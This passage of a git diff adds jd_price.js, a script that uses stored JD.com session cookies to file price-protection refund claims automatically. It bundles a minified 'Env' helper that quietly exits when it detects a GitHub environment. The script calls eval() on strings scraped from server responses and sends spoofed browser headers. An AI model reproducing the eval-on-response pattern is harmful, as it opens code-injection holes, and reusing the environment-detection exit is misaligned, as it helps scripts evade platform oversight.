i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_price.js b/jd_price.js new file mode 100644 index 0000000..afb414e --- /dev/null +++ b/jd_price.js @@ -0,0 +1,557 @@ +/* +京东保价 +京东 api 只能查询60天的订单 +保价期限是以物流签收时间为准的,30天是最长保价期。 +所以订单下单时间以及发货、收货时间,也可能占用很多天,60天内的订单进行保价是正常的。 +没进行过保价的60天内的订单。查询一次,不符合保价的,不会再次申请保价。 +支持云端cookie使用 +修改自:https://raw.githubusercontent.com/ZCY01/daily_scripts/main/jd/jd_priceProtect.js +修改自:https://raw.githubusercontent.com/id77/QuantumultX/master/task/jdGuaranteedPrice.js + +京东保价页面脚本:https://static.360buyimg.com/siteppStatic/script/priceskus-phone.js +iOS同时支持使用 NobyDa 与 domplin 脚本的京东 cookie +活动时间:2021-2-14至2021-3-3 +活动地址:https://prodev.m.jd.com/jdlite/active/31U4T6S4PbcK83HyLPioeCWrD63j/index.html +活动入口:京东保价 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东保价 +0 2 * * * jd_price.js, tag=京东保价, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 2 * * *" script-path=jd_price.js,tag=京东保价 + +===============Surge================= +京东保价 = type=cron,cronexp="0 2 * * *",wake-system=1,timeout=3600,script-path=jd_price.js + +============小火箭========= +京东保价 = type=cron,script-path=jd_price.js, cronexpr="0 2 * * *", timeout=3600, enable=true + */ + +const $ = new Env('京东保价'); + +const selfDomain = 'https://msitepp-fm.jd.com/'; +const unifiedGatewayName = 'https://api.m.jd.com/'; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', + 'https://bean.m.jd.com/', + { + 'open-url': 'https://bean.m.jd.com/', + } + ); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + $.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + $.isLogin = false; + $.nickName = ''; + await totalBean(); + if (!$.isLogin) { + $.msg( + $.name, + `【提示】cookie已失效`, + `京东账号${$.index} ${ + $.nickName || $.UserName + }\n请重新登录获取\nhttps://bean.m.jd.com/`, + { + 'open-url': 'https://bean.m.jd.com/', + } + ); + continue; + } + console.log( + `\n***********开始【账号${$.index}】${ + $.nickName || $.UserName + }********\n` + ); + try { + $.hasNext = true; + $.refundtotalamount = 0; + $.orderList = new Array(); + $.applyMap = {}; + // TODO + $.token = ''; + $.feSt = 'f'; + console.log(`💥 获得首页面,解析超参数`); + await getHyperParams(); + // console.log($.HyperParam) + console.log(`----------`); + console.log(`🧾 获取所有价格保护列表,排除附件商品`); + for (let page = 1; $.hasNext; page++) { + await getApplyData(page); + } + console.log(`----------`); + console.log(`🗑 删除不符合订单`); + console.log(`----------`); + let taskList = []; + for (let order of $.orderList) { + taskList.push(historyResultQuery(order)); + } + await Promise.all(taskList); + console.log(`----------`); + console.log(`📊 ${$.orderList.length}个商品即将申请价格保护!`); + console.log(`----------`); + for (let order of $.orderList) { + await skuApply(order); + await $.wait(300); + } + console.log(`----------`); + console.log(`⏳ 等待申请价格保护结果...`); + console.log(`----------`); + for (let i = 1; i <= 30 && Object.keys($.applyMap).length > 0; i++) { + await $.wait(1000); + if (i % 5 == 0) { + await getApplyResult(); + } + } + showMsg(); + } catch (e) { + $.logErr(e) + } + } + } +})() + .catch((e) => { + console.log(`❗️ ${$.name} 运行错误!\n${e}`); + }) + .finally(() => $.done()); + +const getValueById = function (text, id) { + try { + const reg = new RegExp(`id="${id}".*value="(.*?)"`); + const res = text.match(reg); + return res[1]; + } catch (e) { + throw new Error(`getValueById:${id} err`); + } +}; + +function getHyperParams() { + return new Promise((resolve, reject) => { + const options = { + url: 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu', + headers: { + Host: 'msitepp-fm.jd.com', + Accept: + 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + Connection: 'keep-alive', + Cookie: $.cookie, + 'User-Agent': + 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1', + 'Accept-Language': 'zh-cn', + Referer: 'https://ihelp.jd.com/', + 'Accept-Encoding': 'gzip, deflate, br', + }, + }; + $.get(options, (err, resp, data) => { + try { + if (err) throw new Error(JSON.stringify(err)); + $.HyperParam = { + sid_hid: getValueById(data, 'sid_hid'), + type_hid: getValueById(data, 'type_hid'), + isLoadLastPropriceRecord: getValueById( + data, + 'isLoadLastPropriceRecord' + ), + isLoadSkuPrice: getValueById(data, 'isLoadSkuPrice'), + RefundType_Orderid_Repeater_hid: getValueById( + data, + 'RefundType_Orderid_Repeater_hid' + ), + isAlertSuccessTip: getValueById(data, 'isAlertSuccessTip'), + forcebot: getValueById(data, 'forcebot'), + useColorApi: getValueById(data, 'useColorApi'), + }; + } catch (e) { + reject( + `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify( + data + )}` + ); + } finally { + resolve(); + } + }); + }); +} + +function getApplyData(page) { + return new Promise((resolve, reject) => { + $.hasNext = false; + const { sid_hid, type_hid, forcebot } = $.HyperParam; + const pageSize = 5; + + let paramObj = { + page, + pageSize, + keyWords: '', + sid: sid_hid, + type: type_hid, + forcebot, + token: $.token, + feSt: $.feSt, + }; + + $.post(taskUrl('siteppM_priceskusPull', paramObj), (err, resp, data) => { + try { + if (err) { + console.log( + `🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify( + err + )}` + ); + } else { + let pageErrorVal = data.match( + /id="pageError_\d+" name="pageError_\d+" value="(.*?)"/ + )[1]; + if (pageErrorVal == 'noexception') { + let pageDatasSize = eval( + data.match( + /id="pageSize_\d+" name="pageSize_\d+" value="(.*?)"/ + )[1] + ); + $.hasNext = pageDatasSize >= pageSize; + let orders = [...data.matchAll(/skuApply\((.*?)\)/g)]; + let titles = [...data.matchAll(/

(.*?)<\/p>/g)]; + for (let i = 0; i < orders.length; i++) { + let info = orders[i][1].split(','); + if (info.length != 4) { + throw new Error(`价格保护 ${order[1]}.length != 4`); + } + const item = { + orderId: eval(info[0]), + skuId: eval(info[1]), + sequence: eval(info[2]), + orderCategory: eval(info[3]), + title: `🛒${titles[i][1].substr(0, 15)}🛒`, + }; + let id = `skuprice_${item.orderId}_${item.skuId}_${item.sequence}`; + let reg = new RegExp(`${id}.*?isfujian="(.*?)"`); + isfujian = data.match(reg)[1]; + if (isfujian == 'false') { + let skuRefundTypeDiv_orderId = `skuRefundTypeDiv_${item.orderId}`; + item['refundtype'] = getValueById( + data, + skuRefundTypeDiv_orderId + ); + // 设置原路返还 + if (item.refundtype === '2') item.refundtype = '1'; + $.orderList.push(item); + } + //else...尊敬的顾客您好,您选择的商品本身为赠品,是不支持价保的呦,请您理解。 + } + } + } + } catch (e) { + reject( + `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify( + data + )}` + ); + } finally { + resolve(); + } + }); + }); +} + +// 申请按钮 +function skuApply(order) { + return new Promise((resolve, reject) => { + const { orderId, orderCategory, skuId, refundtype } = order; + const { sid_hid, type_hid, forcebot } = $.HyperParam; + + let paramObj = { + orderId, + orderCategory, + skuId, + sid: sid_hid, + type: type_hid, + refundtype, + forcebot, + token: $.token, + feSt: $.feSt, + }; + + console.log(`🈸 ${order.title}`); + $.post(taskUrl('siteppM_proApply', paramObj), (err, resp, data) => { + try { + if (err) { + console.log( + `🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify( + err + )}` + ); + } else { + data = JSON.parse(data); + if (data.flag) { + if (data.proSkuApplyId != null) { + $.applyMap[data.proSkuApplyId[0]] = order; + } + } else { + console.log(`🚫 ${order.title} 申请失败:${data.errorMessage}`); + } + } + } catch (e) { + reject( + `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify( + data + )}` + ); + } finally { + resolve(); + } + }); + }); +} + +// 历史结果查询 +function historyResultQuery(order) { + return new Promise((resolve, reject) => { + const { orderId, sequence, skuId } = order; + const { sid_hid, type_hid, forcebot } = $.HyperParam; + + let paramObj = { + orderId, + skuId, + sequence, + sid: sid_hid, + type: type_hid, + pin: undefined, + forcebot, + }; + + const reg = new RegExp( + 'overTime|[^库]不支持价保|无法申请价保|请用原订单申请' + ); + let deleted = true; + $.post(taskUrl('siteppM_skuProResultPin', paramObj), (err, resp, data) => { + try { + if (err) { + console.log( + `🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify( + err + )}` + ); + } else { + deleted = reg.test(data); + } + } catch (e) { + reject( + `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify( + data + )}` + ); + } finally { + if (deleted) { + console.log(`🚫 删除商品:${order.title}`); + $.orderList = $.orderList.filter((item) => { + return item.orderId != order.orderId || item.skuId != order.skuId; + }); + } + resolve(); + } + }); + }); +} + +function getApplyResult() { + function handleApplyResult(ajaxResultObj) { + if ( + ajaxResultObj.hasResult != 'undefined' && + ajaxResultObj.hasResult == true + ) { + //有结果了 + let proSkuApplyId = ajaxResultObj.applyResultVo.proSkuApplyId; //申请id + let order = $.applyMap[proSkuApplyId]; + delete $.applyMap[proSkuApplyId]; + if (ajaxResultObj.applyResultVo.proApplyStatus == 'ApplySuccess') { + //价保成功 + $.refundtotalamount += ajaxResultObj.applyResultVo.refundtotalamount; + console.log( + `📋 ${order.title} \n🟢 申请成功:¥${$.refundtotalamount}` + ); + console.log(`-----`); + } else { + console.log( + `📋 ${order.title} \n🔴 申请失败:${ajaxResultObj.applyResultVo.failTypeStr} \n🔴 失败类型:${ajaxResultObj.applyResultVo.failType}` + ); + console.log(`-----`); + } + } + } + return new Promise((resolve, reject) => { + let proSkuApplyIds = Object.keys($.applyMap).join(','); + const { pin, type_hid } = $.HyperParam; + + let paramObj = { + proSkuApplyIds, + pin, + type: type_hid, + }; + + $.post(taskUrl('siteppM_moreApplyResult', paramObj), (err, resp, data) => { + try { + if (err) { + console.log( + `🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify( + err + )}` + ); + } else if (data) { + data = JSON.parse(data); + let resultArray = data.applyResults; + for (let i = 0; i < resultArray.length; i++) { + let ajaxResultObj = resultArray[i]; + handleApplyResult(ajaxResultObj); + } + } + } catch (e) { + reject( + `⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify( + data + )}` + ); + } finally { + resolve(); + } + }); + }); +} + +function taskUrl(functionid, body) { + let urlStr = selfDomain + 'rest/priceprophone/priceskusPull'; + const { useColorApi, forcebot } = $.HyperParam; + + if (useColorApi == 'true') { + urlStr = + unifiedGatewayName + + 'api?appid=siteppM&functionId=' + + functionid + + '&forcebot=' + + forcebot + + '&t=' + + new Date().getTime(); + } + return { + url: urlStr, + headers: { + Host: useColorApi == 'true' ? 'api.m.jd.com' : 'msitepp-fm.jd.com', + Accept: '*/*', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://msitepp-fm.jd.com', + Connection: 'keep-alive', + Referer: 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu', + 'User-Agent': + 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1', + Cookie: $.cookie, + }, + body: body ? `body=${JSON.stringify(body)}` : undefined, + }; +} + +function showMsg() { + console.log(`🧮 本次价格保护金额:${$.refundtotalamount}💰`); + if ($.refundtotalamount) { + $.msg( + $.name, + ``, + `京东账号${$.index} ${$.nickName || $.UserName}\n🎉 本次价格保护金额:${ + $.refundtotalamount + }💰`, + { + 'open-url': + 'https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu', + } + ); + } +} + +function totalBean() { + return new Promise((resolve) => { + const options = { + url: `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + headers: { + Accept: 'application/json,text/plain, */*', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-cn', + Connection: 'keep-alive', + Cookie: $.cookie, + Referer: 'https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2', + 'User-Agent': + 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1', + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + return; + } + $.isLogin = true; + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function jsonParse(str) { + if (typeof str == 'string') { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg( + $.name, + '', + '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie' + ); + return []; + } + } +} +// https://github.com/chavyleung/scripts/blob/master/Env.js +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_rankingList.js b/jd_rankingList.js new file mode 100644 index 0000000..f10e517 --- /dev/null +++ 